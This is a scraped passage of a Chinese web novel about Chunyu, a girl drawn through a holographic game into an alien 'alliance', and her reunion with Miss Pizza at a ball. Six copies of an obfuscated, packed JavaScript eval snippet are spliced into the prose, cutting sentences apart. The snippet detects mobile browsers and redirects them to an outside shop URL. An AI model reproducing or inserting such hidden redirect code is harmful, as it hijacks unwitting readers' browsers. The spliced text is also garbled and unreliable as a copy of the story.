《我的恋人是游戏NPC》 1. 简介和设定 可以跳过这章直接看正文，影响不大。 联盟里有三个种族，即RAN。（是三个种族不是三个性别！！！） RAN世界观，即 【rakta】，读作【拉克塔】 【asthi】，读作【阿斯提】 【mannsa】，读作【曼卅】（当然也可以自己随便读） 《异界联盟》的全称是异世界非人类物种联盟，简称异界联盟。 联盟的起源：zk星球在1100年前破碎了，zk星球的一些人来到了地球，建立了联盟，一边发展联盟，一边寻找办法重建zk星球，并回到zk星球。 联盟地图：联盟分为表世界，中省界，里世界。 表世界： 【新人考核区】【管理层】 中省界： 【生活区】【居民区】【次元屋】 【交易中心】【神之翼】【禁区】【门】 里世界： 【研究所】【财政部】【贡献榜】 【成员档案】【未来·历史】 解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669032|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释说明： 【次元屋】（又叫交流区）打破了次元壁，不同空间的成员可以在这里交流 【神之翼】负责执法授勋 【禁区】zk星球破碎后的碎片组成了“禁区” 【未来·历史】一个演算区，历史可以更改，也需要记录，未来也可以演算预测（一般是测重大事件） 【门】是通道 【新手考核区】拥有zk星球血统的人，一般需要通过考核才能进入联盟，成为正式成员。 （有问题再补充） 2. 重逢 “嘿，春虞，漫展结束后你有什么安排吗？” 春虞掏出怀表看了一眼时间，快五点半了，只差最后的大合照环节漫展就结束了，她莞尔道，“暂时没有，不过我今天一天没进食了，漫展结束了应该会先去吃点东西。” “你一个人吗？一个人的话不如和我们一起啊，我们准备结束后去大悦城那边，正好吃完饭还能再来一场。” 春虞面露遗憾：“这次我就不去了吧，踩了一天高跟了，好累，我现在只想快点结束，然后吃饭睡觉。” “好吧，那我们之后单独约。”椰椰子把物料塞给她，包装上还特意贴了一张标签纸，上面写着“To春虞” 春虞收下物料和附赠的一个拥抱，“明天见。” 春虞回到订住的酒店，在前台签字领取之前寄存的物品。 “你好，请问是住在25楼2511房间的陈女士吗？” 春虞点头，“是我，有什么事情吗？” 办理登记的工作人员满脸歉意：“是这样的，26楼是我们酒店的一个会场，今天场地被租出去了，好像在举办化装舞会还是漫展，可能会有些吵闹。如果您有需要的话，我们可以免费为您更换房间并升级房型。” 春虞摇头拒绝：“谢谢你，但暂时不需要。” 她刷卡回到房间，在门口换下高跟鞋，将收到的物料整齐摆放在床头柜，然后仰面倒在床上，静静等待着。 阳台的门敞着，楼上隐约有音乐声传来，是《弗朗明哥》，啊，舞会开始了。 春虞从床上爬起来，她今天出的是个冷门角色，服装是浅蓝色的婚纱，这个角色死在她的婚礼上。 春虞对着镜子摘掉美瞳，露出褐色的眼睛，金粉色的假发和造型都很适合舞会，春虞又拽掉头纱，补了一下口红，然后对镜子里的自己笑了一下。 她重新穿上高跟鞋，往楼上走。电梯楼层需要刷卡进入，春虞只能走楼梯，到26楼，穿过一段走廊，音乐声变得清晰。 大厅入口有一个验票闸，没人看守。靠近了能在上面看见一个明显的标识，是几个扭曲的火柴人。春虞只在联盟开发的游戏封面上见过，所以这是《异界联盟》游戏漫展还是联盟内部活动呢？ 春虞更希望是后者，她已经很久没去联盟了。 会场里的音乐又换了，春虞透过闸门能看见一片暖色灯光，她摘下左手手套，手掌根部连接手腕的位置有一个无法被人类肉眼看见的印记，一截香柏枝丫图案，她将左手靠近“检票处”。 “识别成功，春虞，欢迎回来。” 透明的隔板应声而开，春虞走进大厅，瞬间梦回联盟。也不怪前台怀疑活动是漫展，毕竟有不少成员都是用的本体形态，该是耳朵的地方长着鳍，身上带着巨型蝴蝶翅膀，穿着盔甲或者欢快地甩自己的漂亮尾巴，甚至有成员干脆用花盘替换了头的存在。 不过更多的还是正常范围内的人类形态。 目光越过簇拥的人群，春虞一眼就看见了披萨小姐。她在靠窗的桌前自饮自酌，上身是深灰色的衬衫，搭配暗色的领带和带条纹的马甲，头发长度堪堪与肩齐平。 披萨小姐变了好多，头发剪短了，脸瘦了些，眉目也更显锐利，长而密的睫毛垂下时，会在下眼睑投下一小片阴影，叫人看不清神情。抬眸时，目光清又冷，看谁都像在审视和评估。 春虞看着披萨小姐揪下一颗青提，放进嘴里吃掉，嘴唇泛着水光，随着她咀嚼的动作，唇瓣轻微地上下起伏。 很快披萨小姐的视线转了过来，眼神平淡却包容，好像在问春虞还要看多久。披萨小姐总是这样，看起来对谁都温和有礼，实际上永远冷漠永远利益至上。 春虞走过去，微微倾身做邀请姿态，“你好，也许我有荣幸可以请你跳一支舞吗？” 久别重逢，应该是激动的，可这次再见实在算不上意料之外，春虞只是克制地将视线移开。 仔细想想，其实就算披萨小姐认出了自己，也不算坏事，毕竟这也说明披萨小姐从来没有忘了自己；如果没有认出来，那当然更好，她们当初甚至都不能算好聚好散，能有新的开始，当然是好的。 披萨小姐又打量了她一眼，目光落在她繁复的礼裙上，“你跳男步？” 这是没认出来了，春虞心里放松：“如果你不介意的话。” 真的没被认出来其实还是有点失落的，但这也不能怪披萨小姐，春虞心想。和披萨小姐分开后她经历了一次改造，最明显的就是身高变化，从前只有一米六出头，现在光脚裸高接近一米七，而且春虞今天还踩了高跟。 脸长开了，头发变长了，发色瞳色都是披萨小姐不曾见过的模样，没认出来才是正常情况。 披萨小姐起身反手握住春虞掌心，“当然。不过我想，礼裙转起来会更漂亮，是不是？” 披萨小姐又在善解人意了，春虞却出乎意料的平静。舞曲切换到下一首，她们步入舞池，是《华尔兹》。 披萨小姐将手放在了春虞后腰，春虞紧跟着她的步调，这一次她不会再频繁地踩到披萨小姐的脚了。 “我没想到会有这么多人来。” “为什么？”没想到披萨小姐会主动提起话题，春虞微仰头看她，眼里的疑惑恰到好处，“这次舞会有什么特别的吗？” “不，没什么特别的，但我有点好奇，你是通过什么渠道进来的。我不记得我有在任何公开场合提到过这次活动。” “啊，大概四个月前，我有一个朋友提到了这个活动并邀请了我，但是太早了，我不确定这天是否有别的安排，所以我拒绝了。” 四个月前，赫连嘉玉确实回国了，但这个活动尚在筹办之初，连她自己都没法确定邀请人选，这个“朋友”的人选有够特别的啊。 她们手掌紧握，身躯贴近又散开，春虞甚至能闻到披萨小姐身上淡淡的松香味，她猜测披萨小姐肯定才接触过某种琥珀。 “你的朋友来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669033|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗？” “没有。”春虞轻声解释，“我们很久不联系了。”已经算不上朋友了。 音乐迎来了高潮部分，春虞被披萨小姐托举着跳跃，旋转。她很清楚自己没有被转晕，可还是控制不住心跳加速。 披萨小姐问她，“那么，你为什么来？为什么今天出现在这里？你的朋友有告诉你吗？” 毫不掩饰的试探，防备的姿态，甚至不惜动用天赋，啊，原来真的没被认出来，你居然真的没认出来！哈，哈，心率失衡，春虞却有种奇异的畅快。 如果再不回答，如果不说真话，她毫不怀疑自己会因此被杀死。可春虞不想被杀死，她想要活下来。 所以春虞没有撒谎：“我在楼下，我参加漫展后回来，听见楼上有音乐声，我有点无聊，我很好奇舞会里都有谁，我想来看看，所以我上来了。” “赫连……老师，我的序列编号是077，在人类社会的名字是陈星星，很高兴认识你。”很高兴再见到你。 披萨小姐顺着乐声将春虞拉回怀中，从背后虚拥住她，“啊，星星，你认识我吗？” 星星。春虞险些就要落下泪来，但下一个瞬间，春虞就对身体失去了控制，她更像披萨小姐手中的娃娃，被两只手紧握着腰部举高；被引导着抬脚，像圆规一样旋转；双臂像被拧了发条一样舞着重复的动作。 “我见过您……我在联盟见过你，赫连老师。” 联盟。原来是联盟，绝对安全的联盟，所以春虞即使有问题也无关紧要，联盟会解决一切的。 心跳恢复了正常频率，披萨小姐的声音和面容都变得清晰了，好像那些试探和防备全消失了。 “我也很高兴认识你，星星。” 舞曲终了，她们回到一开始的姿态，披萨小姐手上用力挽着春虞的腰让她站直。 “跳得很好。星星。” 一旦确认为同类，披萨小姐总是不吝夸赞话语的。 春虞有点窃喜，又忍不住想多说些什么，她看着披萨小姐的眼睛，说了些并不算合适的话。“只有这一种，我只学了《华尔兹》，因为以前和朋友跳的时候经常踩到她的脚，所以下定决心要好好学。” “是嘛。”披萨小姐扬眉，“有兴趣也可以试试其他的。” 春虞下意识的盯着披萨小姐的眼睛，“我想我会的，那么下次，还会有机会和你一起吗？赫连老师？” “不用一直带敬称叫我。”她们离开舞池，披萨小姐从就近的桌上取了两杯浅蓝色的饮料，给春虞递了一杯。“我想，在联盟，我们会有很多机会遇见。” 春虞接过饮料，没闻到明显的酒精味，于是放心的抿了一口。 披萨小姐面带笑意，举杯在春虞杯子上碰了一下，“欢迎来到披萨的宴会。” 时隔两年零七个月，联盟一千一百七十八天，春虞再一次看见了披萨小姐。 这次不是我故意的了。春虞心想，我明明已经决定要放下了。 3. 进入《异界联盟》 春虞第一次接触联盟，是在高考后的暑假。 因为好运气的抽到了全息游戏的内测名额，春虞放弃了假期的出游计划。 《异界联盟》是萨希艾文化传媒有限公司最新推出的一款融合经营与冒险玩法的游戏。由于画风唯美，剧情出彩，且自由度超高，因此发布以来一直广受好评。 前两周官方还放出消息，说是《异界联盟》正在打造全息模式。新模式开放前，会随机抽取一批玩家邀请测试。 春虞也跟风预约了测试名额，并好运气的被邀请了。全息头盔也在三天前收到了快递。 官方在两分钟前发来了关于游戏上线的提示短信。短信内容不长，大意是全息游戏构建完毕，玩家可以进入游戏开始测试了。 三天前的快递还扔在墙角没有拆，春虞勾过箱子，拆开取出全息头盔，按照说明书指示戴上头盔，点击【进入游戏】 游戏开场动画略显阴暗，巨大的天幕之下，一群抽象且扭曲的火柴人在挣扎，挣扎着求生，亦或是赴死。 动画播放至尾声，天穹碎裂，黑色火柴人变作光点消失，空气中缓缓浮现出几个拼凑的字母“SAHI”。 “哇噻。”春虞没玩过别的全息游戏，比不出好坏，但《异界联盟》的特效相当真实，春虞来了兴趣，手诚实的点击【继续】 眼前画面闪了一下，与此同时，一道磁性的电子音响起：“基因检测成功……血液成功匹配……正在连接” 空气里，一个蓝色漩涡正在缓缓凝聚，与此同时，那个电子音还在孜孜不倦的为她进行新手引导。 【请注意：！！！】 【1.神明是真实存在的】 【2.当你身处联盟时，绝对安全】 【3.神明无所不能，我们信仰神明】* 【4.asthi和rakta同等重要】 【5.你是不死的。】* 嗯，有点奇怪，但特效做得跟真的一样，春虞还是想体验一下再说。 指尖触碰的地方有光圈像水波一样漾开，一个气泡炸开，里面黑色的字边缘是被晕染开的模糊：【门已成功搭建，是否进入联盟】 春虞点击【是】 【亲爱的*星星，欢迎来到联盟。】 春虞总算发现了不对劲，她确定自己申请内测名额的时候没有输入真实姓名或者身份证号，至于填的手机号……正常的游戏根本不会因为一个手机号就能知道你的姓名吧。 《异界联盟》啊，这个游戏真的合法吗？ 春虞的手微微发颤，说不清是害怕还是兴奋，她继续往下看。 【您在联盟的序列编号是_078-05_，您的种族是rakta，您的身份已更改为正式成员，联盟的全称是异世界非人类物种联盟（简称异界联盟），提示：联盟的序列编号重要程度高于人类社会的身份证号码，请不要轻易暴露】 078？春虞惊讶，居然是这么靠前的序列编号，她朋友之前玩游戏时，随机到的序列号都排到一万开外了，随机到的种族也是平平无奇。看来这次游戏能有更好的体验感也说不定。 电子音紧跟着响起：“【门】将在一分钟后关闭，请您尽快通过。” 除了那个蓝色漩涡，春虞并没有看到其他类似于【门】的东西。春虞决定跟着直觉走，她把手伸进漩涡，在里面摸索到一个类似于门把手的物体，然后猛的一拉。 蓝色漩涡消失，春虞面前出现了一扇银色的门，门很高，客厅的天花板已经被捅穿消失了。推开门，是一个看不到尽头的，类似于时空隧道的东西。 春虞手放在胸前，试图按住胸腔内震如擂鼓的心跳，她分神想到，等出了游戏一定要给游戏公司一个五星好评。 “时空隧道”看着没有尽头，实际春虞走了不到两分钟就到了另一个天地。 春虞踏出“隧道”，首先映入视野的是一个三面显示屏，形似车站候车厅的那种显示屏，只是相较车站的，眼前这个更高，更大，更具视觉冲击力。 显示屏上是循环播放的一些黑白照片，配文应该是某小语种，反正春虞看不懂。 显示屏底下是一尊银色的盔甲，盔甲举着一柄手半剑，左肩还盘踞着两条看起来要吃人的蛇，嚣张地占据了大半个街道。春虞最讨厌蛇了。 察觉到什么，春虞扭头往左看，是一个粉色的像素人，短发，戴着眼镜，看起来就是那种书卷气很浓的男生，此刻他单手扶住眼镜，视线落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669034|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春虞头顶，像是在思考或者计算什么。 “新成员，rakta？” 春虞看着像素人头顶上的金色光标【指挥官·鱼乔】，正要应答，像素人·指挥官·鱼乔却似乎根本不需要她回答，接着道：“虽然联盟很安全，但还是建议你别将真实身份暴露出来。”他欲言又止，“至少在你还没那么强的时候，你最好藏起来，现在，会少很多不必要的麻烦。” “好的，我明白了，还有别的任务吗？”春虞进入游戏时，有仔细看过提示剧情，因此对游戏背景也算有点了解，此刻很轻易就理解了【鱼乔】话里的意思。 《异界联盟》里的联盟序列号和种族全靠注册时随机生成，而且还没有更改的机会。前百的联盟序列号和特殊种族堪比奖池里的SSR了，春虞才不会这么傻，早早就暴露出来。 见春虞理解，指挥官鱼乔又指向隧道右边的光门，“出于某种原因，你直接略过了新手区过渡期，进入联盟成为正式成员，回到联盟分配给你的住所，你可以修改自己愿意展露的身份信息，里面还有配备的初始生活物资。” “好厉害！”春虞眼睛发亮，“但是我要怎么回到住所呢？” 鱼乔这次是真的惊讶了，“你的接引人没告诉你吗？” “我的新手引导，不对”春虞重新组织语言，“我的接引人难道不是你吗？” 鱼乔皱着眉没搭话，他抬头重新看了一眼春虞的头顶，手指在空气里划拉两下，“你的接引人是【万俟】，你没见到她！” 噢，春虞明白了，这么快就进入新剧情了啊，她静静等着鱼乔给她派发新任务。 对方接着从空气里划拉出一个盒子递给春虞：“里面是钥匙和身份凭证，你的住所在R街078号，握住钥匙心里想着要去的地方就行。【生活区】有图书馆，前几天先不用着急赚积分，去图书馆学一些联盟常识。” “我不负责你的接引，之后有问题可以向婚纱店老板求助，她会帮你的。” “明白。”春虞接过盒子，有心再问些注意事项，对方却像素卡顿了一下，很快消失了。 春虞打开盒子，里面是一张黑底印着香柏枝丫图案的卡牌，和一把红宝石材质的钥匙。春虞握住了钥匙。 4. 路过婚纱店 078号住所是一座双层楼的小屋，基础家具齐全。春虞逛了一圈，在2楼的衣帽间找到了个人信息的操作平台。她将序列编号【rakta_078-05_】改成隐藏状态，毕竟最需要藏起来的，也只有这个联盟序列。 隐藏好自身信息，春虞又点开【衣柜】，里面是一排五颜六色的套装。 春虞两眼一黑，捣鼓了半天才发现套装颜色是可以自己更改的。更棒的是，发色和瞳色似乎也被默认为套装的一部分，居然也能自己调节！春虞果断将头发颜色设置为淡青色，眼睛调了个深邃的绿。 春虞对着镜子观察自己，很好，这谁还能认出来。她固定好数据，然后点击[确认修改]。 不确定游戏设定里，联盟的时间流速和地球是否一致，春虞抓紧时间在联盟简单的逛了一阵。 出了078号住所就是【生活区】，目之所及的住房全都是西幻风格的，偶尔能见到几个商铺也全都是华丽风的，春虞没有看见任何形似交通工具的事物，街上行人倒是不少。 有爆炸头的人形青年，有飞翔的不死鸟，还有用根系当脚移动的向日葵，春虞甚至看见了一张漂浮的白纸，头上也毫不例外地顶着带颜色的名字，联盟的NPC还真是包容啊。 春虞很快又看见了第二个显示屏，她在显示屏底下，借着光滑的瓷面看清楚了自己……和头顶上的名字，嗯，是很浅淡的蓝色。 但春虞以为只有NPC才会头上顶着名字？ 诶，等等，这是游戏啊！春虞记得那个叫鱼乔的NPC有说过，背包里有初始生活物资的。那么背包呢？春虞在身上摸索半天，总算找到了代表背包的衣服口袋。 春虞手伸进衣服口袋里摸索清点她的财产，有两个圆形的积分币，一个长得像运动手表的手环通讯器，一张联盟地图，还有几张食物兑换卡。 “新来的成员们，欢迎进入联盟，登记自己的天赋技能，可以获得第一笔联盟积分，你可以将积分用于构建小岛，或者交换物资……如需详细了解，可以在任意一扇【门】领取任务——[异世界的首次冒险]……” 显示屏孜孜不倦的播放着登记天赋的好处，春虞有一种被引诱的错觉。 “但天赋是什么？”春虞走到一个漂亮的商铺面前停下，她抬头看了一眼商铺名，叫“乌理理手工婚纱制作”，面向街道的透明展示窗里，一个无脸模特穿着一身火红色的婚纱，标价15积分。 联盟里的通用货币就是积分，春虞听朋友提过，游戏里的积分很难肝，朋友玩了两个月的游戏，也就堪堪攒了两位数的积分。春虞在心里为自己的微额财产哀悼，一边顺着街道继续往前走。 “天赋就是与生俱来，不用学也会的技能。至今为止，联盟里没有两个人同时拥有同一种天赋的先例。”迎面走来一个紫发紫眸，头顶粉色“乌理理”三个大字的女生，春虞看了她一眼，又转头去看后面的商铺。 “原来这是你的店！” 乌理理点头承认了，“连天赋都不知道，你是新成员吗？” 春虞想了一下，回答是，乌理理意味不明的笑了声，从空气里抽出一本《联盟常识大全》递给春虞。 “好好看看吧，新成员。” 春虞朝她背后的空气看了一眼，羡慕的接过了《常识大全》，果然等级高的NPC连背包都显得高级。 春虞翻开《常识大全》，再一次为联盟的神奇存在感到惊叹，你说这游戏公司怎么就能设计得这么细致呢？《常识大全》里解释的是，联盟是基于一块zkx星球的原石建造的。 联盟一共有3个源世界，源世界之下是14个负责不同事项的区。 其中里世界是联盟之重，内有5个区负责记录联盟的一应历史，未来演算，以及联盟成员的身份信息及贡献； 表世界是联盟最小的一个源世界，只负责2个区，即【新手考核区】和【管理区】，位于联盟最外侧； 最后一个源世界是中省界，是众联盟成员日常生活的地方。（如图）① 中省界有交易，娱乐，研究和医疗板块，是【门】所在的源世界，联盟寻常的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669035|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 执法授勋也在中省界完成。 春虞刚刚走过的街道就属于中省界的【居民区】。 甚至连NPC头上不同颜色的名字，也有不同的含义。 联盟内一共有五种颜色的名字，不同颜色代表不同等级（等级由低到高，高等级自动覆盖低等级）： 灰色名字代表预备成员，考核合格后，可正式加入联盟； 蓝色名字代表联盟正式成员； 粉色名字是贡献者，为联盟的建设做出了贡献的成员即可申请； 紫色名字是联盟特聘人员，即贡献点不足但和联盟存在长期的合作关系； 绿色名字是各区管理者独有的，成为管理者的前提条件没有提到（但春虞猜测级别肯定更高，比如成为贡献者才能申请）； 金色名字是最高级，春虞所在的联盟只有两个人的名字是金色，【执政官·万俟】和【指挥官·鱼乔】。 （灰色＜蓝色＜粉色＝紫色＜绿色＜金色） 不过关于为什么要把名字标在头顶……《常识大全》倒是有所解释，据说是为了避免引起不必要的误会和争执，毕竟联盟成员们的本体形象实在是多样化，包括但不限于飞禽走兽，衣帽鞋袜等。 在游戏设定里，联盟六百年前还没有出台这一法规时，就经常发生包括但不限于以下事件：在休憩时被新生成员当做纪念品带走；在晒太阳时被新生成员当做珍稀植物挖走；在沉睡时被当做食材端上餐桌惨遭生啃！以及最近有不少成员在做任务时，被玩家当做游戏NPC反复问好以及拍照打卡！ 虽然但是，联盟成员好像就是游戏NPC吧……所以这样看来，其实游戏公司确实还存在不少bug呢？！ 又或许这只是全息游戏的特殊设定，即联盟就是一个特殊的沉浸式游戏！而我的任务则是沉浸式扮演联盟里的NPC！那么问题来了，我究竟是算玩家还是NPC呢？春虞沉思，春虞沉思无果，遂放弃。 她绕了一大圈回到来时走过的【门】，穿过隧道，重新回到客厅，天还没黑，时间很慢。 5. 披萨小姐 披萨小姐最近有点无聊，准确来说应该是烦躁。 她最近一直在考虑，要不要和身边的朋友一样，去换一个人造心脏。 披萨小姐现在用的心脏是机械心脏，只有最基础的泵血功能，不仅需要每年充能检查，而且还不能储存记忆和情感。 而人造心脏就完全没有这些弊端，不需要充能，也不会产生任何排斥反应。披萨小姐唯一介意的是，每一个人造心脏被生产出来时，就烙上了某种思想印记。 虽然联盟管理层公开声明过，这种印记对思想和情感完全无害，可这种事情怎么能有绝对。联盟所有人都知道并默认这一点，毕竟你不能否认，人造心脏就是更安全，更稳定，那么为此担一点其他的风险，也是可以接受的。 但是披萨小姐还有别的顾虑，说实话，出于个人的私欲，她并不完全信任这一届的执政官。 披萨小姐往联盟里唯一的一所医院走去，售卖人造心脏的地方在医院二楼。 “你好，我是今天预约参观的赫连嘉玉。” “请坐。”医生抬头微笑，眼镜链轻轻晃动，“我姓祁，你可以喊我祁医生。我看到你的预约记录了，是来咨询机械心脏置换事宜，对吗？” 披萨小姐点头，“是的，我身边不少朋友都换了，我也想来了解一下。” 祁医生微笑：“客人是第一次来了解人造心脏吧，如果你不介意，我很高兴为你简单介绍一下。” 祁医生抬起工作手环，将三款卖得最好的人造心脏投影出来，用一根银色教鞭似的棍子，指着模型开始介绍。 “相较机械心脏，人造心脏的材质更接近真正的血肉，人造心脏里安装了完全无害的处理器，可以实时存储记忆和情感。” “当然，还有一个很重要的点，人造心脏不需要额外的充能，你完全可以通过进食来给心脏充能！” “而且根据联盟最新出台的条例，现在安装人造心脏只需要一个积分，差价部分由财政部补贴？女士，也许你想要看看心脏实体吗？” 披萨小姐没有犹豫：“多谢祁医生。” 祁医生立刻从特制医疗柜里取出被凝胶状包裹住的心脏介绍道：“需要试试这款心脏吗？供能强，抗压能力也好，在asthi里一直很受欢迎的。” “还有其他款吗？”供能强也代表着维护日常生命活动需要更多的能量，这其实不算坏事，但披萨小姐目前的工作不需要一颗强大的心脏。 祁医生的脸上露出夸张的表情，似乎是想表现出惊讶的情绪，然而效果很一般。她从展柜里取出一颗更纤细的心脏介绍，“当然，我们也出售更柔软，续航能力更久的心脏，看看这形状，看看这血肉纹理，这一款心脏很受科研工作者的欢迎。” “有没有更柔软一点的？我想要一颗可以细致感受别人情绪的心脏。” 祁医生脸上的嫌弃很生动，“asthi拥有太细腻的情感可不是好事，不过，如果你非要的话，我们也可以破例提供土生土长的，属于地球人类的血肉心脏。如果你不信任我们，你也可以去地球碰碰运气，看看有没有地球人类愿意把心脏给你。” “这种心脏就能达到你的要求，但是里面没有处理器，可能一点点记忆和情感就能把心脏装满。而且容我提醒你，这种心脏有一个很大的弊端，很轻易就感染病毒坏掉，地球人类称之为‘生病’，总之我是不建议的啦。” “不用了。”披萨小姐有点失望，“我还是继续使用机械心脏好了，每年充能检查也没什么。” 披萨小姐准备离开医院，祁医生立刻拦住了她。 “请等一下，女士。”祁医生一副神秘兮兮的样子，“你追求更细致的感情，也许你会对一颗真正的，属于自己的心脏感兴趣。” 披萨小姐扬眉，“一颗真正属于自己的心脏？你指什么？” “看在同为asthi的份上，我当然很乐意告诉你。”祁医生摆出高深莫测的神态，“联盟管理层一直流传一句话，‘被爱的人会疯狂长出血肉’，这不是谣言。” 披萨小姐当然听过这句话，但并不是在联盟，而是在研 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669036|188612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 究地球人类文化的相关书籍上。人类在编造一些虚无缥缈的事迹时，总爱引用这句话。 祁医生继续说，“你知道，rakta这个种族一直很离谱？”祁医生卡了一下，“或许我该说荒谬更合适？” 祁医生的说服大业并没有因此停下，“总之你明白我的意思就行，你应该知道，她们拥有生的力量。强大的rakta只要愿意，就能让asthi长出一颗真正的，只属于自己的心脏。” 披萨小姐理所当然的心动了，“之前有过成功的先例吗？” 祁医生微微一笑：“我不能告诉您。” 披萨小姐最终没有购买任何一颗心脏，不过她在医院带走了一本名叫《和rakta谈恋爱需要注意的10000件事》的书。 rakta拥有生的力量，与之相对的是，她们也拥有远超常人的，充沛的感情。 从医院离开后，披萨小姐并没有第一时间回到自己居住的小岛。 天色尚早，人造太阳刚刚偏离最中央的云朵，离月亮升起还有五个小时。披萨小姐从手环里取出装备，穿上银制的盔甲，通过【门】去往【禁区】 【禁区】是由很多块碎掉的zkx星球的碎片拼在一起的，因此并不稳定，随时有可能再次破碎。【禁区】里有许多没有生出自我意识的植物和动物，受不断崩坏又重组的环境影响，这些动植物最终变异，变成了需要被清理的东西。 联盟会定期组织成员清理异变的动植物，同时也开放一部分【禁区】用作成员的训练室。 披萨小姐的天赋本身并不具备强攻击性，但掌握更多的力量总不是坏事。披萨小姐惯用的武器是一柄手半剑，她提着剑照例在【禁区】训练了一个小时。 一个小时后，是萨尼铁塔和叻污泥的晚餐时间。披萨小姐给两条蛇喂食后，带着它们随机挑选了个街道闲逛。蛇也是需要放风的。 披萨小姐的运气一向不错，她第一眼看见春虞，就知道这个rakta是最合适的目标。联盟序列078当然是很厉害的序列。 6. 我喜欢联盟 春虞退出游戏后很敏锐的发现了问题，她看似冷静的将那本《联盟常识大全》和红宝石钥匙搁在桌上，实则思绪已经飘了很远了。 虽然早有这个全息游戏不太合法的准备，但真的从游戏里带出实物后，春虞还是有种不真实感和一点没缘由的危机感。 这不是合不合法的问题了，这游戏已经完全不符合常理了。春虞现在更担心自己的人身安全，但她想了半天，也没想出来这游戏能图她什么。 春虞试着在网上搜索了一下关于《异界联盟》游戏的新闻，全都很正常，就连其他收到内测邀请的玩家也没什么异样，仅有的几个提到全息游戏的帖子也全是在夸赞场景真实的。 总不能这么大的游戏就针对她一个人吧，但有必要用这么大的手笔吗？春虞自认就是一个平平无奇的高三毕业生，她胡思乱想半天，最后心大的放弃了。 如果这是针对她的阴谋，春虞并不觉得自己放弃进入联盟就能避开阴谋，反之，如果这不是一个阴谋，如果春虞只是碰巧进入了异世界，这不是更酷吗？也许我就是天选之子呢，春虞早就知道自己是不同的！ 成功说服自己后，春虞重新拿起《常识大全》仔细的研读一遍。 《常识大全》里提到了一些基础的法律，违反法律的惩罚一般是扣除积分和贡献点，春虞甚至没有看见死刑，因为最严重的惩罚是剥夺联盟成员身份，逐出联盟，春虞怀疑联盟里可能都没有监狱。 但好消息是，在联盟里至少人身自由问题不用担心。应该？如果《常识大全》所说属实的话。 春虞花了一点时间将《常识大全》读完后，才再次打开了游戏。她戴上全息头盔，游戏的初始界面产生了一点变化，跳过动画场景后，左下角有一个“门”的图标。 春虞打开【门】，照例穿过隧道进入联盟去。 话说联盟就不能出一个更简易的通道吗？还是说非要通过打开游戏才能进入联盟，这也太不方便了。 “嘿！你踩到我了”一个帽子说。 “对不起，我没有注意到你。” “噢，新成员！是新成员！好吧，我原谅你了，希望你喜欢联盟。” “或者你要去哪？我可以带你去。” “下次注意喔，头上顶着字的，都是联盟成员，不能踩也不能吃。” “啊，我明白的，谢谢您！” 重新进入联盟，春虞依旧穿过了表世界，直接到了中省界【生活区】的街道上。 这次她没有贸然说话，也没有着急去领任务赚积分，而是站在街道一旁观察来往的联盟成员们，观察她们的举止和言行，试图从中得到些什么。 事实证明联盟成员们和人类的生活方式差别不大。 虽然日常也需要吃喝维持生命活动但吃的食物都是能量拟态，而且更重要的是没有不必要的排泄需求，简直不要太酷了。 又在中省界乱逛了几天，春虞总算摸清了大部分潜在的基本规则。看起来联盟的大家都是很礼貌友好而且正常的模样啊。 这当然也很好，但春虞还是忍不住有点失望。 她也觉得自己有点矫情，但是，但是，如果是这样的话，地球人类和联盟成员的区别岂不是只在能力和环境板块？ 